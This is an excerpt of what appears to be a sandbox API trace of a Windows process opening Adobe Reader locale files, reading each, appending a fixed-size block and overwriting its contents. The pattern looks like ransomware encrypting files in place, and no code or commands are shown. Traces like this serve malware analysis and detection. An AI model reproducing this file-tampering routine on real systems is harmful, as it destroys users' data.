lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x1200 [0035.406] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0035.406] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.406] ReleaseMutex (hMutex=0x128) returned 1 [0035.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.DEU", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0035.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.DEU", cchWideChar=10, lpMultiByteStr=0x1e630cc, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.DEU", lpUsedDefaultChar=0x0) returned 10 [0035.406] ReadFile (in: hFile=0x1a0, lpBuffer=0x2772358, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesRead=0x2c0f2bc*=0x1200, lpOverlapped=0x0) returned 1 [0035.412] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0035.412] WriteFile (in: hFile=0x1a0, lpBuffer=0x2772358*, nNumberOfBytesToWrite=0x1788, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesWritten=0x2c0f2d0*=0x1788, lpOverlapped=0x0) returned 1 [0035.412] CloseHandle (hObject=0x1a0) returned 1 [0035.413] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Acroform.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\acroform.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0035.415] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0035.415] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x6d200 [0035.415] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0035.416] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.416] ReleaseMutex (hMutex=0x128) returned 1 [0035.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.ESP", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.ESP", cchWideChar=12, lpMultiByteStr=0x1e630cc, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.ESP", lpUsedDefaultChar=0x0) returned 12 [0035.416] ReadFile (in: hFile=0x1a0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0035.421] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x6c200 [0035.421] ReadFile (in: hFile=0x1a0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.423] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x6c200 [0035.424] WriteFile (in: hFile=0x1a0, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.424] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0035.424] WriteFile (in: hFile=0x1a0, lpBuffer=0x2720cd8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0035.424] CloseHandle (hObject=0x1a0) returned 1 [0035.437] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\makeaccessible.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\makeaccessible.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0035.722] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0035.722] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x14600 [0035.723] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0035.723] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.723] ReleaseMutex (hMutex=0x128) returned 1 [0035.723] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.ESP", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0035.723] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.ESP", cchWideChar=18, lpMultiByteStr=0x1e7894c, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.ESP", lpUsedDefaultChar=0x0) returned 18 [0035.723] ReadFile (in: hFile=0x1b0, lpBuffer=0x272fd08, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x272fd08*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.742] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x13600 [0035.742] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da5ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.742] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x13600 [0035.743] WriteFile (in: hFile=0x1b0, lpBuffer=0x27724b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27724b8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.743] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0035.743] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de4de8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.743] CloseHandle (hObject=0x1b0) returned 1 [0035.744] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0035.745] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0035.745] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x9480 [0035.745] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0035.745] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.745] ReleaseMutex (hMutex=0x128) returned 1 [0035.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0035.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0035.745] ReadFile (in: hFile=0x1b0, lpBuffer=0x276a328, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.748] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x8480 [0035.748] ReadFile (in: hFile=0x1b0, lpBuffer=0x2772388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.752] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x8480 [0035.752] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.752] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0035.752] WriteFile (in: hFile=0x1b0, lpBuffer=0x276e358*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276e358*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.752] CloseHandle (hObject=0x1b0) returned 1 [0035.753] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Checkers.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\checkers.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0035.754] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0035.754] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x1e000 [0035.754] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0035.754] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.754] ReleaseMutex (hMutex=0x128) returned 1 [0035.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.EUQ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.EUQ", cchWideChar=12, lpMultiByteStr=0x1e6324c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.EUQ", lpUsedDefaultChar=0x0) returned 12 [0035.754] ReadFile (in: hFile=0x1b0, lpBuffer=0x276a328, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.756] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1d000 [0035.757] ReadFile (in: hFile=0x1b0, lpBuffer=0x2772388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.758] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1d000 [0035.758] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.758] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0035.758] WriteFile (in: hFile=0x1b0, lpBuffer=0x276e358*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276e358*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.758] CloseHandle (hObject=0x1b0) returned 1 [0035.760] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\RdLang32.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\rdlang32.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0035.760] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0035.760] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x14e000 [0035.760] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0035.760] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.760] ReleaseMutex (hMutex=0x128) returned 1 [0035.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.EUQ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.EUQ", cchWideChar=12, lpMultiByteStr=0x1e6316c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.EUQ", lpUsedDefaultChar=0x0) returned 12 [0035.761] ReadFile (in: hFile=0x1b0, lpBuffer=0x2720cd8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesRead=0x2c0f278*=0xf000, lpOverlapped=0x0) returned 1 [0035.762] ReadFile (in: hFile=0x1b0, lpBuffer=0x2720cd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.764] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x14d000 [0035.764] ReadFile (in: hFile=0x1b0, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.765] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x14d000 [0035.766] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.766] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0035.766] WriteFile (in: hFile=0x1b0, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x2c0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0035.766] WriteFile (in: hFile=0x1b0, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0035.766] CloseHandle (hObject=0x1b0) returned 1 [0036.168] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\WebLink.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\weblink.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.382] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0036.383] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x6e00 [0036.383] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0036.383] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.385] ReleaseMutex (hMutex=0x128) returned 1 [0036.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.EUQ", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.EUQ", cchWideChar=11, lpMultiByteStr=0x1e6314c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WebLink.EUQ", lpUsedDefaultChar=0x0) returned 11 [0036.385] ReadFile (in: hFile=0x1ac, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.395] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x5e00 [0036.395] ReadFile (in: hFile=0x1ac, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.395] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x5e00 [0036.395] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.396] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0036.396] WriteFile (in: hFile=0x1ac, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.396] CloseHandle (hObject=0x1ac) returned 1 [0036.396] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\EScript.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\escript.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.396] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0036.396] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xa200 [0036.396] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0036.396] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.396] ReleaseMutex (hMutex=0x128) returned 1 [0036.396] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SUO", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.396] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SUO", cchWideChar=11, lpMultiByteStr=0x1e6310c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.SUO", lpUsedDefaultChar=0x0) returned 11 [0036.396] ReadFile (in: hFile=0x1ac, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0036.402] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x9200 [0036.402] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.402] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x9200 [0036.402] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.402] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0036.402] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, 